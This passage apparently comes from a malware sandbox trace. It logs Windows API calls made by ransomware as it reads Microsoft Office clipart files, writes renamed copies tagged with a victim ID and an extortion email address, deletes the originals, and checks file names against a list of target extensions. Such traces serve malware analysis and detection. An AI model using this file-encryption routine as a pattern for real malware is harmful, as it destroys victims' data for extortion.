liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.906] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.906] GetLastError () returned 0x0 [0221.906] ReadFile (in: hFile=0x21c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x88c, lpOverlapped=0x0) returned 1 [0222.032] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x890, lpOverlapped=0x0) returned 1 [0222.033] ReadFile (in: hFile=0x21c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.033] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.033] SetEndOfFile (hFile=0x220) returned 1 [0222.033] CloseHandle (hObject=0x220) returned 1 [0222.033] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.033] SetEndOfFile (hFile=0x21c) returned 1 [0222.034] CloseHandle (hObject=0x21c) returned 1 [0222.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0222.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0222.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0222.045] lstrlenW (lpString=".doc") returned 4 [0222.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.045] lstrlenW (lpString=".docx") returned 5 [0222.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.045] lstrlenW (lpString=".pdf") returned 4 [0222.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.045] lstrlenW (lpString=".xls") returned 4 [0222.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.045] lstrlenW (lpString=".xlsx") returned 5 [0222.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.045] lstrlenW (lpString=".ppt") returned 4 [0222.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0222.045] lstrlenW (lpString=".zip") returned 4 [0222.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.045] lstrlenW (lpString=".rar") returned 4 [0222.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.045] lstrlenW (lpString=".bz2") returned 4 [0222.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.045] lstrlenW (lpString=".7z") returned 3 [0222.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0222.045] lstrlenW (lpString=".dbf") returned 4 [0222.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0222.045] lstrlenW (lpString=".1cd") returned 4 [0222.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0222.045] lstrlenW (lpString=".jpg") returned 4 [0222.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.059] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.059] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0222.059] GetLastError () returned 0x0 [0222.059] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0222.073] WriteFile (in: hFile=0x210, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0222.074] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.074] WriteFile (in: hFile=0x210, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.074] SetEndOfFile (hFile=0x210) returned 1 [0222.077] CloseHandle (hObject=0x210) returned 1 [0222.077] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.077] SetEndOfFile (hFile=0x20c) returned 1 [0222.079] CloseHandle (hObject=0x20c) returned 1 [0222.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0222.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0222.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0222.079] lstrlenW (lpString=".doc") returned 4 [0222.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.079] lstrlenW (lpString=".docx") returned 5 [0222.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.079] lstrlenW (lpString=".pdf") returned 4 [0222.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.079] lstrlenW (lpString=".xls") returned 4 [0222.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.079] lstrlenW (lpString=".xlsx") returned 5 [0222.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.079] lstrlenW (lpString=".ppt") returned 4 [0222.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0222.079] lstrlenW (lpString=".zip") returned 4 [0222.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.079] lstrlenW (lpString=".rar") returned 4 [0222.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.079] lstrlenW (lpString=".bz2") returned 4 [0222.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.080] lstrlenW (lpString=".7z") returned 3 [0222.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0222.080] lstrlenW (lpString=".dbf") returned 4 [0222.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0222.080] lstrlenW (lpString=".1cd") returned 4 [0222.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0222.080] lstrlenW (lpString=".jpg") returned 4 [0222.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.080] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3016) returned 1 [0222.080] CloseHandle (hObject=0x20c) returned 1 [0222.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0222.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0222.080] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.081] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0222.081] GetLastError () returned 0x0 [0222.081] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0222.108] WriteFile (in: hFile=0x210, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0222.109] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.109] WriteFile (in: hFile=0x210, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.109] SetEndOfFile (hFile=0x210) returned 1 [0222.109] CloseHandle (hObject=0x210) returned 1 [0222.109] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.109] SetEndOfFile (hFile=0x20c) returned 1 [0222.110] CloseHandle (hObject=0x20c) returned 1 [0222.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0222.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0222.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0222.110] lstrlenW (lpString=".doc") returned 4 [0222.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.110] lstrlenW (lpString=".docx") returned 5 [0222.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.110] lstrlenW (lpString=".pdf") returned 4 [0222.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.110] lstrlenW (lpString=".xls") returned 4 [0222.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.110] lstrlenW (lpString=".xlsx") returned 5 [0222.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.110] lstrlenW (lpString=".ppt") returned 4 [0222.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0222.110] lstrlenW (lpString=".zip") returned 4 [0222.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.110] lstrlenW (lpString=".rar") returned 4 [0222.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.110] lstrlenW (lpString=".bz2") returned 4 [0222.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.110] lstrlenW (lpString=".7z") returned 3 [0222.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0222.110] lstrlenW (lpString=".dbf") returned 4 [0222.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0222.110] lstrlenW (lpString=".1cd") returned 4 [0222.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0222.111] lstrlenW (lpString=".jpg") returned 4 [0222.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.111] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=13538) returned 1 [0222.111] CloseHandle (hObject=0x20c) returned 1 [0222.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0222.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0222.111] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.111] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0222.112] GetLastError () returned 0x0 [0222.112] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x34e2, lpOverlapped=0x0) returned 1 [0222.121] WriteFile (in: hFile=0x210, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x34f0, lpOverlapped=0x0) returned 1 [0222.122] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.123] WriteFile (in: hFile=0x210, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.123] SetEndOfFile (hFile=0x210) returned 1 [0222.123] CloseHandle (hObject=0x210) returned 1 [0222.123] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.123] SetEndOfFile (hFile=0x20c) returned 1 [0222.124] CloseHandle (hObject=0x20c) returned 1 [0222.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0222.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0222.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0222.124] lstrlenW (lpString=".doc") returned 4 [0222.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.124] lstrlenW (lpString=".docx") returned 5 [0222.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.124] lstrlenW (lpString=".pdf") returned 4 [0222.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.124] lstrlenW (lpString=".xls") returned 4 [0222.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.124] lstrlenW (lpString=".xlsx") returned 5 [0222.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.125] lstrlenW (lpString=".ppt") returned 4 [0222.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0222.125] lstrlenW (lpString=".zip") returned 4 [0222.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.125] lstrlenW (lpString=".rar") returned 4 [0222.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.125] lstrlenW (lpString=".bz2") returned 4 [0222.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.125] lstrlenW (lpString=".7z") returned 3 [0222.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0222.125] lstrlenW (lpString=".dbf") returned 4 [0222.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0222.125] lstrlenW (lpString=".1cd") returned 4 [0222.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0222.125] lstrlenW (lpString=".jpg") returned 4 [0222.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.323] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=5798) returned 1 [0222.323] CloseHandle (hObject=0x228) returned 1 [0222.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0222.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.323] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.323] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.323] GetLastError () returned 0x0 [0222.324] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x16a6, lpOverlapped=0x0) returned 1 [0222.334] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x16b0, lpOverlapped=0x0) returned 1 [0222.334] ReadFile (in: hFile=0x228, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.334] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.334] SetEndOfFile (hFile=0x220) returned 1 [0222.335] CloseHandle (hObject=0x220) returned 1 [0222.335] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.335] SetEndOfFile (hFile=0x228) returned 1 [0222.335] CloseHandle (hObject=0x228) returned 1 [0222.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0222.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0222.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0222.336] lstrlenW (lpString=".doc") returned 4 [0222.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.336] lstrlenW (lpString=".docx") returned 5 [0222.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.336] lstrlenW (lpString=".pdf") returned 4 [0222.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.336] lstrlenW (lpString=".xls") returned 4 [0222.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.336] lstrlenW (lpString=".xlsx") returned 5 [0222.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.336] lstrlenW (lpString=".ppt") returned 4 [0222.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0222.336] lstrlenW (lpString=".zip") returned 4 [0222.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.336] lstrlenW (lpString=".rar") returned 4 [0222.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.336] lstrlenW (lpString=".bz2") returned 4 